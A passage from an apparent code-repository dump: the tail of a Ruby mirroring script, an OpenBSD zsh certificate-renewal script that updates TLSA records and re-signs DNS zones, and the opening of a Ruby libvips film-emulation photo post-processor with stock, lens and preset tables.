dest_for(path)\n  FileUtils.mkdir_p(File.dirname(dest))\n  File.write(dest, redact(body))\n  mirrored &lt;&lt; path\nend\n\nputs \"mirrored #{mirrored.size}:\"\nmirrored.each { |p| puts \"  #{p}\" }\nif skipped.any?\n  puts \"skipped (not present): #{skipped.size}\"\n  skipped.each { |p| puts \"  #{p}\" }\nend\n```\n\n## `openbsd/usr/local/bin/renew-certs.sh`\n```bash\n#!/usr/bin/env zsh\nset -euo pipefail\n\ngenerate_tlsa_record() {\n  typeset domain=$1\n  typeset cert=/etc/ssl/$domain.fullchain.pem\n  typeset zonefile=/var/nsd/zones/master/$domain.zone\n  typeset zsk=/var/nsd/zones/master/K$domain.+013+zsk.key\n  typeset ksk=/var/nsd/zones/master/K$domain.+013+ksk.key\n  [[ ! -f $cert ]] &amp;&amp; return 1\n  typeset tlsa_record\n  tlsa_record=$(openssl x509 -noout -pubkey -in \"$cert\" | \\\n    openssl pkey -pubin -outform der 2&gt;/dev/null | \\\n    openssl dgst -sha256 2&gt;/dev/null)\n  tlsa_record=${tlsa_record##* }\n  [[ -z $tlsa_record ]] &amp;&amp; return 1\n  typeset -a lines\n  lines=(\"${(@f)$(&lt;$zonefile)}\")\n  lines=(\"${(@)lines:#_443._tcp.$domain. IN TLSA*}\")\n  print -rl -- $lines &gt; \"$zonefile\"\n  print -r -- \"_443._tcp.$domain. IN TLSA 3 1 1 $tlsa_record\" &gt;&gt; \"$zonefile\"\n  typeset salt\n  salt=$(dd if=/dev/random bs=16 count=1 2&gt;/dev/null | sha1 -q)\n  ldns-signzone -n -p -s \"$salt\" \"$zonefile\" \"$zsk\" \"$ksk\"\n  nsd-control reload\n}\n\nALL_DOMAINS=(\n  brgen.no longyearbyn.no oshlo.no stvanger.no trmso.no trndheim.no\n  reykjavk.is kbenhvn.dk gtebrg.se mlmoe.se stholm.se hlsinki.fi\n  brmingham.uk cardff.uk edinbrgh.uk glasgw.uk lndon.uk lverpool.uk\n  mnchester.uk amstrdam.nl rottrdam.nl utrcht.nl brssels.be zrich.ch\n  lchtenstein.li frankfrt.de brdeaux.fr mrseille.fr mlan.it lisbon.pt\n  wrsawa.pl gdnsk.pl austn.us chcago.us denvr.us dllas.us dnver.us\n  dtroit.us houstn.us lsangeles.com mnnesota.com newyrk.us prtland.com\n  wshingtondc.com pub.healthcare pub.attorney freehelp.legal\n  bsdports.org bsddocs.org discordb.org foodielicio.us\n  stacyspassion.com antibettingblog.com anticasinoblog.com\n  antigamblingblog.com foball.no amber.brgen.no baibl.no\n)\n\nfor domain in $ALL_DOMAINS; do\n  if acme-client -v -f /etc/acme-client.conf \"$domain\"; then\n    print -r -- \"Renewed: $domain\"\n    generate_tlsa_record \"$domain\"\n  fi\ndone\n\n/usr/sbin/rcctl reload relayd\n```\n\n## `postpro/postpro.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\n# Postpro.rb - Professional Cinematic Post-Processing\n# Version: 20.0.0 - Photo quality research: adaptive contrast, filmic shoulder/toe,\n#   clarity (local contrast), edge-aware NR, selective sharpening; quality_uplift preset\n\nrequire \"logger\"\nrequire \"json\"\nrequire \"time\"\nrequire \"fileutils\"\n\nBOOT_TIME = Time.now.freeze\n\nmodule PostproBootstrap\n  def self.dmesg(msg)\n    elapsed = defined?(BOOT_TIME) ? \" +%.3fs\" % (Time.now - BOOT_TIME) : \"\"\n    $stdout.puts \"postpro0 at vips8#{elapsed}: #{msg}\"\n    $stdout.flush\n  end\n\n  def self.startup_banner\n    dmesg \"ruby#{RUBY_VERSION} os=#{RbConfig::CONFIG[\"host_os\"]} pid=#{Process.pid}\"\n  end\n\n  def self.ensure_gems\n    vips_available = ensure_vips\n    tty_available = ensure_tty_prompt\n\n    dmesg \"vipsgem=#{vips_available} tty=#{tty_available}\"\n    { vips: vips_available, tty: tty_available }\n  end\n\n  def self.ensure_vips\n    require \"vips\"\n    true\n  rescue LoadError\n    dmesg \"WARN ruby-vips gem missing, attempting install...\"\n    begin\n      if system(\"gem install ruby-vips --no-document\")\n        require \"vips\"\n        dmesg \"OK ruby-vips gem installed\"\n        true\n      else\n        dmesg \"WARN ruby-vips install failed\"\n        probe_and_install_libvips\n        false\n      end\n    rescue StandardError =&gt; e\n      dmesg \"WARN ruby-vips unavailable: #{e.message}\"\n      false\n    end\n  end\n\n  def self.ensure_tty_prompt\n    require \"tty-prompt\"\n    true\n  rescue LoadError\n    dmesg \"WARN tty-prompt gem missing, attempting install...\"\n    begin\n      if system(\"gem install tty-prompt --no-document\")\n        require \"tty-prompt\"\n        dmesg \"OK tty-prompt gem installed\"\n        true\n      else\n        dmesg \"WARN tty-prompt install failed, degraded prompt experience\"\n        false\n      end\n    rescue StandardError =&gt; e\n      dmesg \"WARN tty-prompt unavailable: #{e.message}\"\n      false\n    end\n  end\n\n  def self.probe_and_install_libvips\n    dmesg \"probing libvips installation...\"\n\n    if system(\"pkg-config\", \"--exists\", \"vips\", out: File::NULL, err: File::NULL)\n      dmesg \"OK libvips already installed\"\n      return true\n    end\n\n    # Detect package manager and attempt install\n    os = RbConfig::CONFIG[\"host_os\"]\n    case os\n    when /darwin/\n      if system(\"which\", \"brew\", out: File::NULL, err: File::NULL)\n        dmesg \"attempting: brew install vips\"\n        system(\"brew\", \"install\", \"vips\")\n      else\n        dmesg \"ERROR homebrew not found, install manually: brew install vips\"\n      end\n    when /linux/\n      if system(\"which\", \"apt\", out: File::NULL, err: File::NULL)\n        dmesg \"attempting: apt install libvips-dev\"\n        system(\"apt\", \"update\") &amp;&amp; system(\"apt\", \"install\", \"-y\", \"libvips-dev\")\n      elsif system(\"which\", \"dnf\", out: File::NULL, err: File::NULL)\n        dmesg \"attempting: dnf install vips-devel\"\n        system(\"dnf\", \"install\", \"-y\", \"vips-devel\")\n      elsif system(\"which\", \"yum\", out: File::NULL, err: File::NULL)\n        dmesg \"attempting: yum install vips-devel\"\n        system(\"yum\", \"install\", \"-y\", \"vips-devel\")\n      elsif system(\"which\", \"apk\", out: File::NULL, err: File::NULL)\n        dmesg \"attempting: apk add vips-dev\"\n        system(\"apk\", \"add\", \"vips-dev\")\n      elsif system(\"which\", \"pacman\", out: File::NULL, err: File::NULL)\n        dmesg \"attempting: pacman -S libvips\"\n        system(\"pacman\", \"-S\", \"--noconfirm\", \"libvips\")\n      else\n        dmesg \"ERROR no supported package manager found\"\n      end\n    when /openbsd/\n      if system(\"which pkg_add &gt; /dev/null 2&gt;&amp;1\")\n        dmesg \"attempting: pkg_add vips\"\n        system(\"doas pkg_add vips\")\n      else\n        dmesg \"ERROR pkg_add not found\"\n      end\n    else\n      dmesg \"ERROR unsupported OS: #{os}\"\n    end\n\n    # Verify installation\n    if system(\"pkg-config\", \"--exists\", \"vips\", out: File::NULL, err: File::NULL)\n      dmesg \"OK libvips installation successful\"\n      true\n    else\n      dmesg \"ERROR libvips installation failed\"\n      false\n    end\n  end\n\n  def self.load_camera_profiles(profiles_path)\n    profiles = {}\n\n    unless Dir.exist?(profiles_path)\n      dmesg \"WARN camera profiles directory not found: #{profiles_path}\"\n      return profiles\n    end\n\n    Dir.glob(File.join(profiles_path, \"*.json\")).each do |file|\n      begin\n        data = JSON.parse(File.read(file))\n        vendor = data[\"vendor\"]\n        if vendor &amp;&amp; data[\"profiles\"]\n          profiles[vendor] = data[\"profiles\"]\n        end\n      rescue StandardError =&gt; e\n        dmesg \"WARN failed to load profile #{File.basename(file)}: #{e.message}\"\n      end\n    end\n\n    brands = profiles.keys.join(\",\")\n    dmesg \"camera_profiles=#{brands.empty? ? 'none' : brands}\"\n    profiles\n  end\n\n  def self.load_master_config\n    return {} unless File.exist?(\"master.json\")\n\n    begin\n      master = JSON.parse(File.read(\"master.json\").gsub(/^.*\\/\\/.*$/, \"\"))\n      config = master.dig(\"config\", \"multimedia\", \"postpro\") || {}\n      dmesg \"OK loaded defaults from master.json\"\n      config\n    rescue StandardError =&gt; e\n      dmesg \"WARN failed to parse master.json: #{e.message}\"\n      {}\n    end\n  end\n\n  def self.run\n    startup_banner\n    gems = ensure_gems\n\n    unless gems[:vips]\n      dmesg \"FATAL libvips unavailable; macOS: brew install vips; Ubuntu: apt install libvips-dev; OpenBSD: doas pkg_add vips\"\n      exit 1\n    end\n\n    profiles_path = \"multimedia/camera_profiles\"\n    camera_profiles = load_camera_profiles(profiles_path)\n    config = load_master_config\n\n    {\n      gems: gems,\n      camera_profiles: camera_profiles,\n      config: config\n    }\n  end\nend\n\nBOOTSTRAP = PostproBootstrap.run\n$logger = Logger.new(\"postpro.log\", \"daily\", level: Logger::DEBUG)\n$cli_logger = Object.new.tap do |obj|\n  def obj.info(msg) = PostproBootstrap.dmesg(msg)\n  def obj.error(msg) = PostproBootstrap.dmesg(\"error #{msg}\")\nend\n\nif BOOTSTRAP[:gems][:tty]\n  require \"tty-prompt\"\n  PROMPT = TTY::Prompt.new\nelse\n  PROMPT = nil\nend\n\nif BOOTSTRAP[:gems][:vips]\n  require \"vips\"\nend\n\nREPLIGEN_PRESENT = File.exist?(\"repligen.rb\")\nCAMERA_PROFILES = BOOTSTRAP[:camera_profiles]\nCONFIG = BOOTSTRAP[:config]\n\n# Per-stock data: grain sigma (legacy), 3x3 colour matrix, and characteristic\n# curve [Dmin, Dmax, pivot, gamma] per R/G/B. Dmin lifts shadows (base+fog),\n# Dmax caps highlights (shoulder), pivot is the linear midtone fulcrum (\u22480.18),\n# gamma is contrast (&gt;1 = steeper). Per-channel offsets create stock colour cast.\nSTOCKS = {\n  kodak_portra: { grain: 15,\n                  sublayers: [{ sensitivity_shift: 0.0, grain_scale: 1.4, weight: 0.45 },\n                               { sensitivity_shift: -0.5, grain_scale: 1.0, weight: 0.55 }],\n                  matrix: [1.05, -0.02, -0.03, 0.02, 0.98, 0.00, 0.01, -0.05, 1.04],\n                  hd: { r: [0.06, 0.93, 0.18, 1.10], g: [0.05, 0.94, 0.18, 1.10], b: [0.04, 0.92, 0.20, 1.05] } },\n  kodak_vision3: { grain: 20,\n                   sublayers: [{ sensitivity_shift: 0.3, grain_scale: 1.5, weight: 0.40 },\n                                { sensitivity_shift: 0.0, grain_scale: 1.1, weight: 0.35 },\n                                { sensitivity_shift: -0.6, grain_scale: 0.85, weight: 0.25 }],\n                   matrix: [1.08, -0.05, -0.03, 0.03, 0.95, 0.02, 0.02, -0.08, 1.06],\n                   hd: { r: [0.07, 0.95, 0.17, 1.15], g: [0.06, 0.95, 0.18, 1.20], b: [0.08, 0.90, 0.20, 1.10] } },\n  kodak_vision3_50d: { grain: 8, matrix: [1.06, -0.03, -0.02, 0.02, 0.96, 0.01, 0.01, -0.05, 1.04],\n                       hd: { r: [0.05, 0.95, 0.18, 1.08], g: [0.04, 0.95, 0.18, 1.12], b: [0.03, 0.93, 0.20, 1.05] } },\n  kodak_vision3_500t: { grain: 20, matrix: [1.10, -0.06, -0.04, 0.04, 0.94, 0.03, 0.04, -0.10, 1.09],\n                        hd: { r: [0.08, 0.95, 0.17, 1.18], g: [0.06, 0.95, 0.18, 1.22], b: [0.10, 0.90, 0.20, 1.15] },\n                        focal_plane_offset: 1.1 },\n  cinestill_800t: { grain: 22,\n                    sublayers: [{ sensitivity_shift: 0.4, grain_scale: 1.6, weight: 0.35 },\n                                 { sensitivity_shift: 0.0, grain_scale: 1.2, weight: 0.40 },\n                                 { sensitivity_shift: -0.5, grain_scale: 0.9, weight: 0.25 }],\n                    matrix: [1.12, -0.07, -0.05, 0.04, 0.93, 0.03, 0.05, -0.12, 1.10],\n                    hd: { r: [0.09, 0.96, 0.17, 1.20], g: [0.07, 0.95, 0.18, 1.25], b: [0.12, 0.88, 0.20, 1.18] },\n                    halation: 0.8, focal_plane_offset: 1.2 },\n  ektachrome_100: { grain: 10, matrix: [1.08, -0.04, -0.04, 0.02, 1.02, -0.02, 0.01, -0.08, 1.07],\n                    hd: { r: [0.02, 0.97, 0.18, 1.30], g: [0.02, 0.97, 0.18, 1.35], b: [0.03, 0.96, 0.20, 1.25] } },\n  fuji_velvia: { grain: 8, matrix: [1.12, -0.08, -0.04, 0.05, 1.05, -0.02, 0.01, -0.12, 1.11],\n                 hd: { r: [0.02, 0.97, 0.18, 1.45], g: [0.02, 0.98, 0.18, 1.50], b: [0.03, 0.95, 0.20, 1.40] } },\n  tri_x: { grain: 25, matrix: [1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 1.0],\n            hd: { r: [0.05, 0.95, 0.18, 1.30], g: [0.05, 0.95, 0.18, 1.30], b: [0.05, 0.95, 0.18, 1.30] } },\n  # Kodachrome: steep gamma, no in-film couplers, external development process.\n  # Punchy reds, heavy yellow separation, minimal shadow fog.\n  kodachrome: { grain: 12, matrix: [1.15, -0.10, -0.05, 0.03, 1.00, -0.03, 0.00, -0.10, 1.10],\n                hd: { r: [0.02, 0.97, 0.18, 1.42], g: [0.03, 0.97, 0.18, 1.36], b: [0.04, 0.95, 0.20, 1.20] } },\n}.freeze\n\n# Lens character: data-driven table drives vintage_lens().\n# vignette/glow/micro_contrast/chroma are intensity multipliers [0,1].\nLENSES = {\n  zeiss: { micro_contrast: 0.40, flare: 0.08 },\n  leica: { micro_contrast: 0.45, glow: 0.25 },\n  helios: { micro_contrast: 0.30, chroma: 0.05 },\n  cooke: { micro_contrast: 0.20, warmth: 0.10 },\n  anamorphic: { micro_contrast: 0.25, chroma: 0.08, flare: 0.50 },\n}.freeze\n\n# Per-stock R/G/B channel amplitude ratios for grain \u2014 mirrors the three\n# dye-layer sensitivities. Red layer is reference (1.00), green and blue\n# attenuated to match the stock's measured dye-cloud statistics.\nGRAIN_CHAN_SCALE = {\n  kodak_portra: [1.00, 0.85, 0.70],\n  kodak_vision3: [1.00, 0.90, 0.80],\n  kodak_vision3_50d: [1.00, 0.88, 0.75],\n  kodak_vision3_500t: [1.00, 0.88, 0.72],\n  cinestill_800t: [1.05, 0.88, 0.75],\n  ektachrome_100: [0.95, 0.95, 1.05],\n  fuji_velvia: [1.00, 1.10, 0.90],\n  tri_x: [1.00, 1.00, 1.00],\n  kodachrome: [1.00, 0.92, 0.82],\n}.freeze\n\n# Per-channel spatial frequency ratios for grain \u2014 red layer (\u03c3\u00d71.00) is coarsest,\n# blue (\u03c3\u00d70.72) finest, matching measured dye-cloud PSF widths per layer depth.\nGRAIN_CHANNEL_SPATIAL = [1.00, 0.85, 0.72].freeze\n\n# Lognormal grain amplitude distribution. Silver halide crystals cluster in groups;\n# the cluster field drives amplitude modulation on top of the base Perlin layer.\nGRAIN_LOGNORM_SIGMA = 0.55\nGRAIN_LOGNORM_MEAN = Math.exp(GRAIN_LOGNORM_SIGMA**2 / 2.0)\n\n# Print film stocks: H&amp;D per channel, warmth triplet, grain amplitude.\n# Applied as a final projection stage emulating contact or optical printing.\nPRINT_STOCKS = {\n  kodak_2383: {\n    hd: { r: [0.03, 0.98, 0.18, 1.38], g: [0.02, 0.97, 0.18, 1.34], b: [0.04, 0.96, 0.18, 1.28] },\n    grain: 3, warmth: 0.055, cool_shadow: 0.042\n  },\n  kodak_2302: {\n    hd: { r: [0.05, 0.95, 0.18, 1.50], g: [0.05, 0.95, 0.18, 1.50], b: [0.05, 0.95, 0.18, 1.50] },\n    grain: 5\n  },\n}.freeze\n\n# Per-stock reciprocity failure color shifts. Blue layer lags most under long\n# exposures; green-magenta crossover happens first. Offsets in scRGB units per\n# decade of EV (ev = log2(secs) / 10).\nRECIPROCITY_SHIFT = {\n  cinestill_800t: { r: 0.02, g: -0.04, b: 0.14 },\n  kodak_vision3_500t: { r: 0.01, g: -0.03, b: 0.11 },\n  kodak_vision3: { r: 0.01, g: -0.03, b: 0.10 },\n  tri_x: { r: 0.02, g: -0.05, b: 0.16 },\n  kodak_portra: { r: 0.01, g: -0.02, b: 0.09 },\n}.freeze\n\n# Per-stock push response ratios. Blue dye layer develops faster under push;\n# green is the reference (1.00). Ratios are per-stop multipliers relative to\n# the nominal exposure-doubling factor.\nPUSH_RESPONSE = {\n  kodak_vision3_500t: { g: 1.00, b: 0.92 },\n  kodak_vision3: { g: 1.00, b: 0.93 },\n  cinestill_800t: { g: 0.97, b: 0.89 },\n  kodak_portra: { g: 1.00, b: 0.94 },\n  tri_x: { g: 1.00, b: 0.97 },\n  fuji_velvia: { g: 1.00, b: 0.88 },\n  ektachrome_100: { g: 0.99, b: 0.91 },\n  kodachrome: { g: 0.98, b: 0.90 },\n}.freeze\n\n# Stocks with integral colored couplers (C-41 process) \u2014 get orange mask treatment.\nC41_STOCKS = %i[kodak_portra kodak_vision3 kodak_vision3_50d kodak_vision3_500t cinestill_800t].freeze\n\n# Per-stock film base density tints. Each emulsion has a characteristic base fog\n# color: C-41 negatives are orange-masked; reversal stocks are nearly neutral;\n# B&amp;W silver prints are pure white. Applied at low opacity over the whole frame\n# so dark areas pick up the tint more than highlights (density-sensitive).\nFILM_BASE = {\n  kodak_portra: [255, 245, 228],\n  kodak_vision3: [255, 246, 226],\n  kodak_vision3_50d: [255, 248, 232],\n  kodak_vision3_500t: [255, 247, 225],\n  cinestill_800t: [255, 243, 218],\n  ektachrome_100: [248, 250, 255],\n  fuji_velvia: [250, 251, 255],\n  tri_x: [255, 255, 255],\n  kodachrome: [255, 246, 222],\n}.freeze\n\n# Physics-ordered 6-8 step chains: optical_blur \u2192 exposure/temp \u2192 film_curve\n# \u2192 chemistry \u2192 optical_effect \u2192 print \u2192 grain. One contrast mode and one\n# color temperature approach per preset \u2014 no stacking.\nPRESETS = {\n  portrait: { fx: %w[optical_blur film_curve dir_coupler orange_mask skin_protect shadow_lift highlight_roll grain],\n              stock: :kodak_portra, temp: 5200, intensity: 0.85 },\n\n  indie: { fx: %w[optical_blur film_curve orange_mask shadow_lift split_toning chromatic_aberration grain],\n           stock: :kodak_portra, temp: 5400, intensity: 0.85, lens: \"helios\" },\n\n  polaroid: { fx: %w[optical_blur film_curve faded_print warmth bloom_pro shadow_lift grain],\n              stock: :kodak_portra, temp: 5000, intensity: 0.85 },\n\n  landscape: { fx: %w[optical_blur spectral_temp film_curve color_separate halation micro_contrast grain],\n               stock: :fuji_velvia, temp: 5800, intensity: 0.90, lens: \"zeiss\" },\n\n  magic_hour: { fx: %w[optical_blur spectral_temp film_curve halation warmth bloom_pro grain],\n                stock: :fuji_velvia, temp: 4800, intensity: 0.90 },\n\n  reversal: { fx: %w[optical_blur film_curve color_separate halation highlight_roll micro_contrast grain],\n              stock: :fuji_velvia, temp: 5600, intensity: 0.90 },\n\n  process_e6: { fx: %w[optical_blur push_pull film_curve color_separate halation highlight_roll grain],\n                stock: :ektachrome_100, temp: 5600, intensity: 0.90, stops: 2.0 },\n\n  cinematic: { fx: %w[optical_blur spectral_temp tonemap film_curve orange_mask halation shadow_lift print_film grain],\n               stock: :kodak_vision3_500t, temp: 4500, intensity: 0.90, print_stock: :kodak_2383 },\n\n  blockbuster: { fx: %w[optical_blur tonemap bleach_bypass film_curve orange_mask teal_orange halation print_film grain],\n                 stock: :kodak_vision3, temp: 4800, intensity: 0.90, print_stock: :kodak_2383 },\n\n  golden_age: { fx: %w[optical_blur film_curve orange_mask technicolor warmth dir_coupler bloom_pro grain],\n                stock: :kodak_vision3_50d, temp: 5200, intensity: 0.85, lens: \"cooke\" },\n\n  bleached: { fx: %w[optical_blur tonemap bleach_bypass film_curve split_grade highlight_roll grain],\n              stock: :kodak_vision3, temp: 4800, intensity: 0.90 },\n\n  neon_night: { fx: %w[optical_blur push_pull reciprocity_failure film_curve orange_mask halation bloom_pro grain],\n                stock: :cinestill_800t, temp: 3200, intensity: 0.90,\n                stops: 0.5, exposure_secs: 30.0 },\n\n  tokyo_night: { fx: %w[optical_blur push_pull reciprocity_failure film_curve orange_mask halation teal_orange grain],\n                 stock: :cinestill_800t, temp: 3000, intensity: 0.90,\n                 stops: 1.0, exposure_secs: 45.0 },\n\n  tungsten: { fx: %w[optical_blur spectral_temp film_curve orange_mask halation push_pull shadow_lift grain],\n              stock: :kodak_vision3_500t, temp: 3200, intensity: 0.90,\n              stops: 0.3, exposure_secs: 8.0 },\n\n  street: { fx: %w[optical_blur tonemap bleach_bypass film_curve adjacency_effects shadow_lift micro_contrast grain],\n            stock: :tri_x, temp: 5600, intensity: 0.90, stops: 1.0 },\n\n  war_doc: { fx: %w[optical_blur tonemap push_pull film_curve bleach_bypass green_push grain],\n             stock: :tri_x, temp: 5600, intensity: 0.90, stops: 2.0 },\n\n  silver_gelatin: { fx: %w[optical_blur film_curve push_pull adjacency_effects shadow_lift highlight_roll grain],\n                    stock: :tri_x, temp: 5600, intensity: 0.85, stops: 0.5 },\n\n  lith: { fx: %w[optical_blur film_curve push_pull lith_print split_toning grain],\n          stock: :tri_x, temp: 5600, intensity: 0.90, stops: 1.5 },\n\n  noir: { fx: %w[optical_blur tonemap film_curve bleach_bypass desaturate shadow_lift grain],\n          stock: :tri_x, temp: 5600, intensity: 0.90, stops: 2.0 },\n\n  dream: { fx: %w[optical_blur film_curve halation bloom_pro desaturate split_toning grain],\n           stock: :ektachrome_100, temp: 5800, intensity: 0.85, lens: \"leica\" },\n\n  dreamscape: { fx: %w[optical_blur film_curve halation bloom_pro split_toning grain],\n                stock: :ektachrome_100, temp: 5800, intensity: 0.85 },\n\n  lo_fi: { fx: %w[optical_blur film_curve push_pull faded_print warmth chromatic_aberration grain],\n           stock: :kodak_portra, temp: 4800, intensity: 0.85, lens: \"helios\" },\n\n  horror: { fx: %w[optical_blur tonemap film_curve bleach_bypass green_push desaturate grain],\n            stock: :tri_x, temp: 5600, intensity: 0.90 },\n\n  arctic: { fx: %w[optical_blur tonemap film_curve desaturate bleach_bypass highlight_roll grain],\n            stock: :tri_x, temp: 6500, intensity: 0.90 },\n\n  kodachrome_look: { fx: %w[optical_blur tonemap film_curve kodachrome_sim dir_coupler halation grain],\n                     stock: :kodachrome, temp: 5600, intensity: 0.90 },\n\n  technicolor_3strip: { fx: %w[optical_blur spectral_temp film_curve technicolor dir_coupler bloom_pro grain],\n                        stock: :kodachrome, temp: 5500, intensity: 0.90 },\n\n  cross_process: { fx: %w[optical_blur push_pull film_curve color_separate teal_orange split_toning grain],\n                   stock: :fuji_velvia, temp: 5500, intensity: 0.90, stops: 0.5 },\n\n  vintage_chrome: { fx: %w[optical_blur film_curve dir_coupler spectral_temp color_separate split_toning grain],\n                    stock: :ektachrome_100, temp: 5200, intensity: 0.85 },\n\n  infrared_look: { fx: %w[optical_blur push_pull infrared film_curve bleach_bypass highlight_roll grain],\n                   stock: :tri_x, temp: 5600, intensity: 0.90, stops: 0.5 },\n\n  cyanotype_look: { fx: %w[optical_blur film_curve desaturate cyanotype shadow_lift grain],\n                    stock: :tri_x, temp: 6000, intensity: 0.85 },\n\n  analog_scan: { fx: %w[optical_blur film_curve grain scan_noise dust_and_hair newton_rings],\n                 stock: :kodak_portra, temp: 5200, intensity: 0.80 },\n\n  aged_chrome: { fx: %w[optical_blur film_curve dye_fade selenium_tone faded_print grain],\n                 stock: :ektachrome_100, temp: 5600, intensity: 0.85, age: 0.60 },\n\n  anamorphic: { fx: %w[optical_blur longitudinal_ca spectral_temp tonemap film_curve anamorphic_flare halation grain],\n                stock: :kodak_vision3_500t, temp: 4200, intensity: 0.90 },\n\n  contact_print: { fx: %w[optical_blur adjacency_effects film_curve darkroom_print shadow_lift grain],\n                   stock: :tri_x, temp: 5600, intensity: 0.85 },\n\n  aged_kodachrome: { fx: %w[optical_blur film_curve dye_fade kodachrome_sim dir_coupler grain],\n                     stock: :kodachrome, temp: 5600, intensity: 0.88, age: 0.50 },\n\n  wide_angle: { fx: %w[optical_blur lens_distortion spectral_temp film_curve halation grain],\n                stock: :fuji_velvia, temp: 5800, intensity: 0.90, k1: -0.14 },\n\n  cinema_scan: { fx: %w[optical_blur longitudinal_ca tonemap film_curve orange_mask halation bokeh_rendering print_film grain],\n                 stock: :kodak_vision3, temp: 4600, intensity: 0.90, print_stock: :kodak_2383 },\n\n  diffraction: { fx: %w[optical_blur diffraction_blur film_curve micro_contrast grain],\n                 stock: :fuji_velvia, temp: 5600, intensity: 0.85, f_number: 22.0 },\n\n  nitrate: { fx: %w[optical_blur film_curve dye_fade faded_print adjacency_effects grain scan_noise],\n             stock: :kodachrome, temp: 4800, intensity: 0.85, age: 0.80 },\n\n  fiber_print: { fx: %w[optical_blur adjacency_effects darkroom_print paper_texture dodgeburn_artifacts grain],\n                 stock: :tri_x, temp: 5600, intensity: 0.85 },\n\n  expired: { fx: %w[optical_blur film_curve expired_film gate_weave],\n             stock: :kodak_portra, temp: 5200, intensity: 0.90, age: 0.65 },\n\n  reticulated: { fx: %w[optical_blur film_curve reticulation fixing_bath_fog grain],\n                 stock: :tri_x, temp: 5600, intensity: 0.80 },\n\n  ortho: { fx: %w[optical_blur ortho_film film_curve adjacency_effects grain],\n           stock: :tri_x, temp: 5600, intensity: 0.85 },\n\n  tilt_shift_look: { fx: %w[optical_blur film_curve tilt_shift halation grain],\n                     stock: :kodak_portra, temp: 5200, intensity: 0.80 },\n\n  haunted: { fx: %w[optical_blur expired_film reticulation fixing_bath_fog lens_ghosting gate_weave grain],\n             stock: :kodachrome, temp: 4600, intensity: 0.90, age: 0.80 },\n\n  quality_uplift: { fx: %w[adaptive_contrast film_shoulder clarity edge_aware_nr selective_sharpen film_curve grain],\n                    stock: :kodak_portra, temp: 5600, intensity: 0.75 },\n}.freeze\n\ndef halation_tint_for(stock)\n  case stock\n  when :kodak_vision3, :kodak_vision3_500t then HALATION_TINT_VISION3\n  when :cinestill_800t then HALATION_TINT_VISION3\n  when :kodak_portra, :kodak_vision3_50d then HALATION_TINT_PORTRA\n  when :tri_x then HALATION_TINT_TRI_X\n  when :ektachrome_100 then HALATION_TINT_PORTRA\n  when :kodachrome then HALATION_TINT_PORTRA\n  else HALATION_TINT_VISION3\n  end\nend\n\n# Per-channel characteristic curve baked into a 256-entry LUT. Each channel\n# carries [Dmin, Dmax, pivot, gamma] \u2014 pivot is the linear midtone fulcrum\n# (\u22480.18 for ISO-calibrated film), gamma is contrast, Dmin/Dmax are the\n# shadow floor and highlight ceiling in linear output. Operates in\n# linearized sRGB so middle gray maps to itself, and per-channel offset\n# from neutral creates the colour cast that defines a stock's look.\n# One maplut at runtime; CPU spent only on cache miss.\nmodule HD\n  CACHE = {}\n\n  module_function\n\n  def srgb_to_linear(v)\n    v &lt;= 0.04045 ? v / 12.92 : ((v + 0.055) / 1.055)**2.4\n  end\n\n  def linear_to_srgb(v)\n    v &lt;= 0.0031308 ? v * 12.92 : 1.055 * v**(1.0 / 2.4) - 0.055\n  end\n\n  def develop(linear, params)\n    d_min, d_max, pivot, gamma = params\n    if linear &lt; pivot\n      d_min + (pivot - d_min) * (linear / pivot)**(1.0 / gamma)\n    else\n      pivot + (d_max - pivot) * ((linear - pivot) / (1.0 - pivot))**gamma\n    end\n  end\n\n  def channel_curve(params)\n    (0..255).map do |i|\n      out = develop(srgb_to_linear(i / 255.0), params)\n      (linear_to_srgb(out.clamp(0, 1)) * 255.0).round.clamp(0, 255)\n    end\n  end\n\n  def build_lut(stock_data)\n    hd = stock_data[:hd] or return nil\n    bands = %i[r g b].map { |c| Vips::Image.new_from_array([channel_curve(hd[c])]) }\n    Vips::Image.bandjoin(bands).cast('uchar')\n  end\n\n  def lut_for(stock_data)\n    CACHE[stock_data.object_id] ||= build_lut(stock_data)\n  end\n\n  def apply(image, stock_data)\n    lut = lut_for(stock_data)\n    lut ? image.maplut(lut) : image\n  end\nend\n\ndef safe_cast(image, format = 'uchar')\n  if format == 'uchar'\n    f = image.cast('float')\n    f = (f &gt; 0).ifthenelse(f, 0)\n    f = (f &lt; 255).ifthenelse(f, 255)\n    f.cast('uchar')\n  else\n    image.cast(format)\n  end\nrescue StandardError =&gt; e\n  $logger.error \"Cast failed: #{e.message}\"\n  image\nend\n\ndef rgb_bands(image, bands = 3)\n  return image if image.bands == bands\n  image.bands &lt; bands ? image.bandjoin([image] * (bands - image.bands)) : image.extract_band(0, n: bands)\nend\n\ndef load_image(file)\n  return nil unless File.exist?(file) &amp;&amp; File.readable?(file)\n  image = Vips::Image.new_from_file(file, access: :random)\n  image = image.colourspace(\"srgb\") if image.bands &lt; 3\n  rgb_bands(image)\nrescue StandardError =&gt; e\n  $logger.error \"Load failed #{file}: #{e.message}\"\n  nil\nend\n\ndef get_camera_profile(image)\n  return nil if CAMERA_PROFILES.empty?\n\n  begin\n    make = image.get(\"exif-ifd0-Make\")&amp;.strip&amp;.downcase\n    model = image.get(\"exif-ifd0-Model\")&amp;.strip&amp;.downcase\n\n    return nil unless make &amp;&amp; model\n\n    # Try exact model match first\n    CAMERA_PROFILES.each do |brand, profiles|\n      return profiles[model] if profiles[model]\n    end\n\n    # Try brand match\n    CAMERA_PROFILES.each do |brand, profiles|\n      return profiles.values.first if make.include?(brand) || brand.include?(make)\n    end\n\n    nil\n  rescue StandardError =&gt; e\n    $logger.debug \"EXIF read failed: #{e.message}\"\n    nil\n  end\nend\n\ndef apply_camera_profile(image, profile)\n  return image unless profile &amp;&amp; profile[\"color_matrix\"]\n\n  begin\n    matrix = profile[\"color_matrix\"]\n    return image unless matrix.length == 9\n\n    # Apply 3x3 color matrix\n    result = image.recomb([\n      [matrix[0], matrix[1], matrix[2]],\n      [matrix[3], matrix[4], matrix[5]],\n      [matrix[6], matrix[7], matrix[8]]\n    ])\n\n    # Apply optional adjustments\n    if profile[\"saturation\"]\n      hsv = result.colourspace(\"hsv\")\n      h, s, v = hsv.bandsplit\n      s = s.linear([profile[\"saturation\"]], [0])\n      result = Vips::Image.bandjoin([h, s, v]).colourspace(\"srgb\")\n    end\n\n    if profile[\"vibrance\"]\n      # Simple vibrance simulation\n      result = result.linear([1.0 + 